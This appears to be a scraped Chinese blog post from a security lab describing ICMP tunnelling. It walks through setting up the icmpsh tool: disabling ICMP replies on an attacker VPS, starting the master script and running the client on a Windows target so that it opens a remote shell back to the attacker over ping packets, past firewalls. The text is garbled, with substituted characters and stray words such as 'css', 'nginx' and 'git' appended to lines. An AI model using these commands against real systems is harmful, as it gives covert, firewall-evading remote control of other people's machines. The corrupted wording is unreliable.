

目录css
ICMP隧道python
使用ICMP进行命令控制(Icmpsh)nginx


ICMP隧道简单实用,是一个比较特殊的协议。在通常的通讯协议里,若是两台设备要进行通讯,确定须要开放端口,而在ICMP协议下就不须要。最多见的ping命令就是利用的ICMP协议,攻击者能够利用命令行获得比回复更多的ICMP请求。在一般状况下,每一个ping命令都有相应的回复与请求。git
在一些网络环境中,若是攻击者使用各种上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操做都失败了,经常会经过ping命令访问远程计算机,尝试创建ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙通常不会屏蔽ping的数据包),实现不受限制的访问访问。github

适用场景:目标机器是Windows服务器的状况web
git clone https://github.com/inquisb/icmpsh.git #先下载icmpsh工具
VPS的操做:安全
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭icmp回复,若是要开启icmp回复,该值设置为0python2 icmpsh_m.py 172.31.226.161 x.x.x.x #运行,第一个IP是VPS的eth0网卡IP,第二个IP是目标机器出口的公网IP
目标机器的操做:服务器
icmpsh.exe -t x.x.x.x -d 500 -b 30 -s 128
抓包,能够看到二者之间通讯都是icmp的数据包微信
相关文章:网络
本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。